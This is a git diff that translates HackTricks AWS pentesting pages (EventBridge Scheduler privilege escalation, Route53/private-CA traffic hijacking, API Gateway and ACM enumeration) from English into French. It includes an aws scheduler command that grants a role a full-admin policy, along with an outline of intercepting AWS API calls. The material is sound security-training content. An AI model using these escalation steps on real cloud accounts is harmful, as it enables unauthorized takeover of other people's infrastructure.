diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
index 1519df70f..59082f5e1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
@@ -4,7 +4,7 @@
 
 ## EventBridge Scheduler
 
-More info EventBridge Scheduler in:
+Plus d'infos sur EventBridge Scheduler dans :
 
 {{#ref}}
 ../aws-services/eventbridgescheduler-enum.md
@@ -12,42 +12,34 @@ More info EventBridge Scheduler in:
 
 ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
 
-An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action
-
-For example, they could configure the schedule to **invoke a Lambda function** which is a templated action:
+Un attaquant avec ces permissions pourra **`créer`|`mettre à jour` un planificateur et abuser des permissions du rôle de planificateur** qui y est attaché pour effectuer n'importe quelle action.
 
+Par exemple, ils pourraient configurer le plan pour **invoquer une fonction Lambda** qui est une action template :
 ```bash
 aws scheduler create-schedule \
-    --name MyLambdaSchedule \
-    --schedule-expression "rate(5 minutes)" \
-    --flexible-time-window "Mode=OFF" \
-    --target '{
-        "Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
-        "RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
-    }'
+--name MyLambdaSchedule \
+--schedule-expression "rate(5 minutes)" \
+--flexible-time-window "Mode=OFF" \
+--target '{
+"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
+"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
+}'
 ```
-
-In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy:
-
+En plus des actions de service templatisées, vous pouvez utiliser **des cibles universelles** dans EventBridge Scheduler pour invoquer un large éventail d'opérations API pour de nombreux services AWS. Les cibles universelles offrent la flexibilité d'invoquer presque n'importe quelle API. Un exemple peut être l'utilisation de cibles universelles ajoutant "**AdminAccessPolicy**", en utilisant un rôle qui a la politique "**putRolePolicy**" :
 ```bash
 aws scheduler create-schedule \
-    --name GrantAdminToTargetRoleSchedule \
-    --schedule-expression "rate(5 minutes)" \
-    --flexible-time-window "Mode=OFF" \
-    --target '{
-        "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
-        "RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
-        "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
-    }'
+--name GrantAdminToTargetRoleSchedule \
+--schedule-expression "rate(5 minutes)" \
+--flexible-time-window "Mode=OFF" \
+--target '{
+"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
+"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
+"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
+}'
 ```
-
-## References
+## Références
 
 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
index fc3563ce7..171d23270 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-For more information about Route53 check:
+Pour plus d'informations sur Route53, consultez :
 
 {{#ref}}
 ../aws-services/aws-route53-enum.md
@@ -11,26 +11,22 @@ For more information about Route53 check:
 ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
 
 > [!NOTE]
-> To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.
+> Pour effectuer cette attaque, le compte cible doit déjà avoir une [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurée dans le compte, et les instances EC2 dans le(s) VPC doivent déjà avoir importé les certificats pour lui faire confiance. Avec cette infrastructure en place, l'attaque suivante peut être réalisée pour intercepter le trafic API AWS.
 
-Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
+Autres permissions **recommandées mais non requises pour la partie d'énumération** : `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
 
-Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions.
+En supposant qu'il y ait un VPC AWS avec plusieurs applications cloud-native communiquant entre elles et avec l'API AWS. Étant donné que la communication entre les microservices est souvent chiffrée en TLS, il doit y avoir une CA privée pour émettre les certificats valides pour ces services. **Si ACM-PCA est utilisé** pour cela et que l'adversaire parvient à **accéder au contrôle à la fois de route53 et de la CA privée acm-pca** avec le minimum de permissions décrites ci-dessus, il peut **détourner les appels d'application vers l'API AWS** en prenant le contrôle de leurs permissions IAM.
 
-This is possible because:
+Ceci est possible car :
 
-- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
-- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
-- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names
+- Les SDK AWS n'ont pas de [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
+- Route53 permet de créer des zones hébergées privées et des enregistrements DNS pour les noms de domaine des API AWS
+- La CA privée dans ACM-PCA ne peut pas être restreinte à la signature uniquement des certificats pour des noms communs spécifiques
 
-**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
+**Impact potentiel :** Privesc indirect en interceptant des informations sensibles dans le trafic.
 
 #### Exploitation <a href="#discovery" id="discovery"></a>
 
-Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
+Trouvez les étapes d'exploitation dans la recherche originale : [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md
index dddd8ac04..eea41cbbb 100644
--- a/src/pentesting-cloud/aws-security/aws-services/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/README.md
@@ -6,30 +6,26 @@
 
 ### Container services
 
-Services that fall under container services have the following characteristics:
+Les services qui relèvent des services de conteneurs ont les caractéristiques suivantes :
 
-- The service itself runs on **separate infrastructure instances**, such as EC2.
-- **AWS** is responsible for **managing the operating system and the platform**.
-- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**.
-- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**.
-- Also, platform-level identity and access management where it exists.
-- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk.
+- Le service lui-même fonctionne sur **des instances d'infrastructure séparées**, telles que EC2.
+- **AWS** est responsable de **la gestion du système d'exploitation et de la plateforme**.
+- Un service géré est fourni par AWS, qui est généralement le service lui-même pour **l'application réelle qui est considérée comme un conteneur**.
+- En tant qu'utilisateur de ces services de conteneurs, vous avez un certain nombre de responsabilités en matière de gestion et de sécurité, y compris **la gestion de la sécurité d'accès au réseau, comme les règles de liste de contrôle d'accès réseau et les pare-feu**.
+- De plus, la gestion des identités et des accès au niveau de la plateforme où elle existe.
+- **Des exemples** de services de conteneurs AWS incluent le Service de base de données relationnelle, Elastic Mapreduce et Elastic Beanstalk.
 
 ### Abstract Services
 
-- These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**.
-- The services are accessed via endpoints using AWS application programming interfaces, APIs.
-- The **underlying infrastructure, operating system, and platform is managed by AWS**.
-- The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared.
-- **Data is isolated via security mechanisms**.
-- Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS.
+- Ces services sont **décrochés, abstraits, de la plateforme ou de la couche de gestion sur laquelle les applications cloud sont construites**.
+- Les services sont accessibles via des points de terminaison utilisant les interfaces de programmation d'applications AWS, APIs.
+- L'**infrastructure sous-jacente, le système d'exploitation et la plateforme sont gérés par AWS**.
+- Les services abstraits fournissent une plateforme multi-locataires sur laquelle l'infrastructure sous-jacente est partagée.
+- **Les données sont isolées via des mécanismes de sécurité**.
+- Les services abstraits ont une forte intégration avec IAM, et **des exemples** de services abstraits incluent S3, DynamoDB, Amazon Glacier et SQS.
 
 ## Services Enumeration
 
-**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.**
+**Les pages de cette section sont ordonnées par service AWS. Vous y trouverez des informations sur le service (comment il fonctionne et ses capacités) et cela vous permettra d'escalader les privilèges.**
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
index 09aa42d7c..d6a047299 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
@@ -4,40 +4,39 @@
 
 ## API Gateway
 
-### Basic Information
+### Informations de base
 
-AWS API Gateway is a comprehensive service offered by Amazon Web Services (AWS) designed for developers to **create, publish, and oversee APIs on a large scale**. It functions as an entry point to an application, permitting developers to establish a framework of rules and procedures. This framework governs the access external users have to certain data or functionalities within the application.
+AWS API Gateway est un service complet proposé par Amazon Web Services (AWS) conçu pour les développeurs afin de **créer, publier et superviser des API à grande échelle**. Il fonctionne comme un point d'entrée pour une application, permettant aux développeurs d'établir un cadre de règles et de procédures. Ce cadre régit l'accès que les utilisateurs externes ont à certaines données ou fonctionnalités au sein de l'application.
 
-API Gateway enables you to define **how requests to your APIs should be handled**, and it can create custom API endpoints with specific methods (e.g., GET, POST, PUT, DELETE) and resources. It can also generate client SDKs (Software Development Kits) to make it easier for developers to call your APIs from their applications.
+API Gateway vous permet de définir **comment les requêtes à vos API doivent être traitées**, et il peut créer des points de terminaison API personnalisés avec des méthodes spécifiques (par exemple, GET, POST, PUT, DELETE) et des ressources. Il peut également générer des SDK clients (kits de développement logiciel) pour faciliter l'appel de vos API depuis leurs applications.
 
-### API Gateways Types
+### Types de passerelles API
 
-- **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends.
-- **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services.
-- **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services.
-- **REST API Private**: Create a REST API that is only accessible from within a VPC.
+- **HTTP API** : Créez des API REST à faible latence et rentables avec des fonctionnalités intégrées telles que OIDC et OAuth2, et un support natif CORS. Fonctionne avec les éléments suivants : Lambda, backends HTTP.
+- **WebSocket API** : Créez une API WebSocket utilisant des connexions persistantes pour des cas d'utilisation en temps réel tels que des applications de chat ou des tableaux de bord. Fonctionne avec les éléments suivants : Lambda, HTTP, services AWS.
+- **REST API** : Développez une API REST où vous avez un contrôle total sur la requête et la réponse ainsi que sur les capacités de gestion de l'API. Fonctionne avec les éléments suivants : Lambda, HTTP, services AWS.
+- **REST API Privée** : Créez une API REST qui n'est accessible que depuis un VPC.
 
-### API Gateway Main Components
+### Composants principaux de l'API Gateway
 
-1. **Resources**: In API Gateway, resources are the components that **make up the structure of your API**. They represent **the different paths or endpoints** of your API and correspond to the various actions that your API supports. A resource is each method (e.g., GET, POST, PUT, DELETE) **inside each path** (/, or /users, or /user/{id}.
-2. **Stages**: Stages in API Gateway represent **different versions or environments** of your API, such as development, staging, or production. You can use stages to manage and deploy **multiple versions of your API simultaneousl**y, allowing you to test new features or bug fixes without affecting the production environment. Stages also **support stage variables**, which are key-value pairs that can be used to configure the behavior of your API based on the current stage. For example, you could use stage variables to direct API requests to different Lambda functions or other backend services depending on the stage.
-   - The stage is indicated at the beggining of the URL of the API Gateway endpoint.
-3. **Authorizers**: Authorizers in API Gateway are responsible for **controlling access to your API** by verifying the identity of the caller before allowing the request to proceed. You can use **AWS Lambda functions** as custom authorizers, which allows you to implement your own authentication and authorization logic. When a request comes in, API Gateway passes the request's authorization token to the Lambda authorizer, which processes the token and returns an IAM policy that determines what actions the caller is allowed to perform. API Gateway also supports **built-in authorizers**, such as **AWS Identity and Access Management (IAM)** and **Amazon Cognito**.
-4. **Resource Policy**: A resource policy in API Gateway is a JSON document that **defines the permissions for accessing your API**. It is similar to an IAM policy but specifically tailored for API Gateway. You can use a resource policy to control who can access your API, which methods they can call, and from which IP addresses or VPCs they can connect. **Resource policies can be used in combination with authorizers** to provide fine-grained access control for your API.
-   - In order to make effect the API needs to be **deployed again after** the resource policy is modified.
+1. **Ressources** : Dans API Gateway, les ressources sont les composants qui **constituent la structure de votre API**. Elles représentent **les différents chemins ou points de terminaison** de votre API et correspondent aux différentes actions que votre API prend en charge. Une ressource est chaque méthode (par exemple, GET, POST, PUT, DELETE) **à l'intérieur de chaque chemin** (/, ou /users, ou /user/{id}).
+2. **Étapes** : Les étapes dans API Gateway représentent **différentes versions ou environnements** de votre API, tels que développement, staging ou production. Vous pouvez utiliser des étapes pour gérer et déployer **plusieurs versions de votre API simultanément**, vous permettant de tester de nouvelles fonctionnalités ou des corrections de bogues sans affecter l'environnement de production. Les étapes **supportent également les variables d'étape**, qui sont des paires clé-valeur pouvant être utilisées pour configurer le comportement de votre API en fonction de l'étape actuelle. Par exemple, vous pourriez utiliser des variables d'étape pour diriger les requêtes API vers différentes fonctions Lambda ou d'autres services backend en fonction de l'étape.
+- L'étape est indiquée au début de l'URL du point de terminaison de l'API Gateway.
+3. **Autoriseurs** : Les autoriseurs dans API Gateway sont responsables de **contrôler l'accès à votre API** en vérifiant l'identité de l'appelant avant de permettre à la requête de se poursuivre. Vous pouvez utiliser **des fonctions AWS Lambda** comme autoriseurs personnalisés, ce qui vous permet de mettre en œuvre votre propre logique d'authentification et d'autorisation. Lorsqu'une requête arrive, API Gateway passe le jeton d'autorisation de la requête à l'autoriseur Lambda, qui traite le jeton et renvoie une politique IAM qui détermine quelles actions l'appelant est autorisé à effectuer. API Gateway prend également en charge **des autoriseurs intégrés**, tels que **AWS Identity and Access Management (IAM)** et **Amazon Cognito**.
+4. **Politique de ressource** : Une politique de ressource dans API Gateway est un document JSON qui **définit les autorisations pour accéder à votre API**. Elle est similaire à une politique IAM mais spécifiquement adaptée à API Gateway. Vous pouvez utiliser une politique de ressource pour contrôler qui peut accéder à votre API, quelles méthodes ils peuvent appeler, et depuis quelles adresses IP ou VPCs ils peuvent se connecter. **Les politiques de ressource peuvent être utilisées en combinaison avec des autoriseurs** pour fournir un contrôle d'accès granulaire pour votre API.
+- Afin de prendre effet, l'API doit être **déployée à nouveau après** que la politique de ressource a été modifiée.
 
-### Logging
+### Journalisation
 
-By default, **CloudWatch Logs** are **off**, **Access Logging** is **off**, and **X-Ray tracing** is also **off**.
+Par défaut, **CloudWatch Logs** sont **désactivés**, **l'enregistrement des accès** est **désactivé**, et **le traçage X-Ray** est également **désactivé**.
 
-### Enumeration
+### Énumération
 
 > [!TIP]
-> Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.**
+> Notez que dans les deux APIs AWS pour énumérer les ressources (**`apigateway`** et **`apigatewayv2`**), la seule autorisation dont vous avez besoin et la seule autorisation de lecture accordable est **`apigateway:GET`**, avec cela vous pouvez **énumérer tout.**
 
 {{#tabs }}
 {{#tab name="apigateway" }}
-
 ```bash
 # Generic info
 aws apigateway get-account
@@ -78,11 +77,9 @@ aws apigateway get-usage-plan-key --usage-plan-id <plan_id> --key-id <key_id>
 ###Already consumed
 aws apigateway get-usage --usage-plan-id <plan_id> --start-date 2023-07-01 --end-date 2023-07-12
 ```
-
 {{#endtab }}
 
 {{#tab name="apigatewayv2" }}
-
 ```bash
 # Generic info
 aws apigatewayv2 get-domain-names
@@ -124,49 +121,43 @@ aws apigatewayv2 get-models --api-id <id>
 ## Call API
 https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-## Different Authorizations to access API Gateway endpoints
+## Différentes autorisations pour accéder aux points de terminaison de l'API Gateway
 
-### Resource Policy
+### Politique de ressource
 
-It's possible to use resource policies to define who could call the API endpoints.\
-In the following example you can see that the **indicated IP cannot call** the endpoint `/resource_policy` via GET.
+Il est possible d'utiliser des politiques de ressource pour définir qui peut appeler les points de terminaison de l'API.\
+Dans l'exemple suivant, vous pouvez voir que **l'IP indiquée ne peut pas appeler** le point de terminaison `/resource_policy` via GET.
 
 <figure><img src="../../../images/image (256).png" alt=""><figcaption></figcaption></figure>
 
-### IAM Authorizer
+### Autorisateur IAM
 
-It's possible to set that a methods inside a path (a resource) requires IAM authentication to call it.
+Il est possible de définir qu'une méthode à l'intérieur d'un chemin (une ressource) nécessite une authentification IAM pour être appelée.
 
 <figure><img src="https://lh3.googleusercontent.com/GGx-kfqNXu6zMqGidnO8_eR88fYPpJG-wNuBBnedAJntiRUEPTEScl7OvWthGYRiI_msYCdC6oBFvJc827Tb4-4UogxpOyrEXyst-8IDzP9DC2NOtXSY7w58L0baCAcBQjSyvBhJREvWWCtiboNYPSKuEw=s2048" alt=""><figcaption></figcaption></figure>
 
-When this is set you will receive the error `{"message":"Missing Authentication Token"}` when you try to reach the endpoint without any authorization.
-
-One easy way to generate the expected token by the application is to use **curl**.
+Lorsque cela est défini, vous recevrez l'erreur `{"message":"Missing Authentication Token"}` lorsque vous essayez d'atteindre le point de terminaison sans aucune autorisation.
 
+Une façon simple de générer le jeton attendu par l'application est d'utiliser **curl**.
 ```bash
 $ curl -X <method> https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource> --user <AWS_ACCESS_KEY>:<AWS_SECRET_KEY> --aws-sigv4 "aws:amz:<region>:execute-api"
 ```
-
-Another way is to use the **`Authorization`** type **`AWS Signature`** inside **Postman**.
+Une autre façon est d'utiliser le type **`Authorization`** **`AWS Signature`** à l'intérieur de **Postman**.
 
 <figure><img src="../../../images/image (168).png" alt=""><figcaption></figcaption></figure>
 
-Set the accessKey and the SecretKey of the account you want to use and you can know authenticate against the API endpoint.
-
-Both methods will generate an **Authorization** **header** such as:
+Définissez l'accessKey et le SecretKey du compte que vous souhaitez utiliser et vous pouvez maintenant vous authentifier contre le point de terminaison de l'API.
 
+Les deux méthodes généreront un **Authorization** **header** tel que :
 ```
 AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2
 ```
-
-Note that in other cases the **Authorizer** might have been **bad coded** and just sending **anything** inside the **Authorization header** will **allow to see the hidden content**.
+Notez que dans d'autres cas, l'**Authorizer** pourrait avoir été **mal codé** et envoyer **quoi que ce soit** dans l'**Authorization header** permettra **de voir le contenu caché**.
 
 ### Request Signing Using Python
-
 ```python
 
 pip install requests
@@ -193,86 +184,83 @@ response = requests.get(url, auth=awsauth)
 print(response.text)
 
 ```
-
 ### Custom Lambda Authorizer
 
-It's possible to use a lambda that based in a given token will **return an IAM policy** indicating if the user is **authorized to call the API endpoint**.\
-You can set each resource method that will be using the authoriser.
+Il est possible d'utiliser une lambda qui, en fonction d'un token donné, **retournera une politique IAM** indiquant si l'utilisateur est **autorisé à appeler le point de terminaison de l'API**.\
+Vous pouvez définir chaque méthode de ressource qui utilisera l'autoriseur.
 
 <details>
 
-<summary>Lambda Authorizer Code Example</summary>
-
+<summary>Exemple de code de l'autoriseur Lambda</summary>
 ```python
 import json
 
 def lambda_handler(event, context):
-    token = event['authorizationToken']
-    method_arn = event['methodArn']
+token = event['authorizationToken']
+method_arn = event['methodArn']
 
-    if not token:
-        return {
-            'statusCode': 401,
-            'body': 'Unauthorized'
-        }
+if not token:
+return {
+'statusCode': 401,
+'body': 'Unauthorized'
+}
 
-    try:
-        # Replace this with your own token validation logic
-        if token == "your-secret-token":
-            return generate_policy('user', 'Allow', method_arn)
-        else:
-            return generate_policy('user', 'Deny', method_arn)
-    except Exception as e:
-        print(e)
-        return {
-            'statusCode': 500,
-            'body': 'Internal Server Error'
-        }
+try:
+# Replace this with your own token validation logic
+if token == "your-secret-token":
+return generate_policy('user', 'Allow', method_arn)
+else:
+return generate_policy('user', 'Deny', method_arn)
+except Exception as e:
+print(e)
+return {
+'statusCode': 500,
+'body': 'Internal Server Error'
+}
 
 def generate_policy(principal_id, effect, resource):
-    policy = {
-        'principalId': principal_id,
-        'policyDocument': {
-            'Version': '2012-10-17',
-            'Statement': [
-                {
-                    'Action': 'execute-api:Invoke',
-                    'Effect': effect,
-                    'Resource': resource
-                }
-            ]
-        }
-    }
-    return policy
+policy = {
+'principalId': principal_id,
+'policyDocument': {
+'Version': '2012-10-17',
+'Statement': [
+{
+'Action': 'execute-api:Invoke',
+'Effect': effect,
+'Resource': resource
+}
+]
+}
+}
+return policy
 ```
-
 </details>
 
-Call it with something like:
+Appelez-le avec quelque chose comme :
 
 <pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
 </strong></code></pre>
 
 > [!WARNING]
-> Depending on the Lambda code, this authorization might be vulnerable
+> Selon le code Lambda, cette autorisation pourrait être vulnérable
 
-Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}`
+Notez que si une **politique de refus est générée et renvoyée**, l'erreur renvoyée par API Gateway est : `{"Message":"User is not authorized to access this resource with an explicit deny"}`
 
-This way you could **identify this authorization** being in place.
+De cette manière, vous pourriez **identifier cette autorisation** en place.
 
-### Required API Key
+### Clé API requise
 
-It's possible to set API endpoints that **require a valid API key** to contact it.
+Il est possible de définir des points de terminaison API qui **nécessitent une clé API valide** pour y accéder.
 
 <figure><img src="../../../images/image (88).png" alt=""><figcaption></figcaption></figure>
 
-It's possible to generate API keys in the API Gateway portal and even set how much it can be used (in terms of requests per second and in terms of requests per month).
+Il est possible de générer des clés API dans le portail API Gateway et même de définir combien elles peuvent être utilisées (en termes de requêtes par seconde et en termes de requêtes par mois).
 
-To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key:
+Pour faire fonctionner une clé API, vous devez l'ajouter à un **Plan d'utilisation**, ce plan d'utilisation doit être ajouté à l'**Étape API** et l'étape API associée doit avoir une **limitation de méthode** configurée pour le **point de terminaison** nécessitant la clé API :
 
 <figure><img src="../../../images/image (198).png" alt=""><figcaption></figcaption></figure>
 
-## Unauthenticated Access
+## Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
@@ -290,14 +278,10 @@ To make an API key work, you need to add it to a **Usage Plan**, this usage plan
 ../aws-post-exploitation/aws-api-gateway-post-exploitation.md
 {{#endref}}
 
-## Persistence
+## Persistance
 
 {{#ref}}
 ../aws-persistence/aws-api-gateway-persistence.md
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
index 0f3da9d50..915ee325f 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
@@ -2,18 +2,17 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-**AWS Certificate Manager (ACM)** is provided as a service aimed at streamlining the **provisioning, management, and deployment of SSL/TLS certificates** for AWS services and internal resources. The necessity for manual processes, such as purchasing, uploading, and certificate renewals, is **eliminated** by ACM. This allows users to efficiently request and implement certificates on various AWS resources including **Elastic Load Balancers, Amazon CloudFront distributions, and APIs on API Gateway**.
+**AWS Certificate Manager (ACM)** est fourni en tant que service visant à simplifier la **provision, la gestion et le déploiement des certificats SSL/TLS** pour les services AWS et les ressources internes. La nécessité de processus manuels, tels que l'achat, le téléchargement et le renouvellement des certificats, est **éliminée** par ACM. Cela permet aux utilisateurs de demander et de mettre en œuvre efficacement des certificats sur diverses ressources AWS, y compris **Elastic Load Balancers, les distributions Amazon CloudFront et les API sur API Gateway**.
 
-A key feature of ACM is the **automatic renewal of certificates**, significantly reducing the management overhead. Furthermore, ACM supports the creation and centralized management of **private certificates for internal use**. Although SSL/TLS certificates for integrated AWS services like Elastic Load Balancing, Amazon CloudFront, and Amazon API Gateway are provided at no extra cost through ACM, users are responsible for the costs associated with the AWS resources utilized by their applications and a monthly fee for each **private Certificate Authority (CA)** and private certificates used outside integrated ACM services.
+Une caractéristique clé d'ACM est le **renouvellement automatique des certificats**, réduisant considérablement la charge de gestion. De plus, ACM prend en charge la création et la gestion centralisée de **certificats privés pour un usage interne**. Bien que les certificats SSL/TLS pour les services AWS intégrés comme Elastic Load Balancing, Amazon CloudFront et Amazon API Gateway soient fournis sans coût supplémentaire via ACM, les utilisateurs sont responsables des coûts associés aux ressources AWS utilisées par leurs applications et d'un frais mensuel pour chaque **Certificate Authority (CA) privée** et certificats privés utilisés en dehors des services ACM intégrés.
 
-**AWS Private Certificate Authority** is offered as a **managed private CA service**, enhancing ACM's capabilities by extending certificate management to include private certificates. These private certificates are instrumental in authenticating resources within an organization.
+**AWS Private Certificate Authority** est proposé en tant que **service CA privé géré**, améliorant les capacités d'ACM en étendant la gestion des certificats pour inclure des certificats privés. Ces certificats privés sont essentiels pour authentifier les ressources au sein d'une organisation.
 
-## Enumeration
+## Énumération
 
 ### ACM
-
 ```bash
 # List certificates
 aws acm list-certificates
@@ -27,9 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce
 # Account configuration
 aws acm get-account-configuration
 ```
-
 ### PCM
-
 ```bash
 # List CAs
 aws acm-pca list-certificate-authorities
@@ -49,7 +46,6 @@ aws acm-pca get-certificate-authority-csr --certificate-authority-arn <arn>
 # Get CA Policy (if any)
 aws acm-pca get-policy --resource-arn <arn>
 ```
-
 ## Privesc
 
 TODO
@@ -59,7 +55,3 @@ TODO
 TODO
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
index 66539b87d..5b098f0a0 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
@@ -4,10 +4,9 @@
 
 ## CloudFormation
 
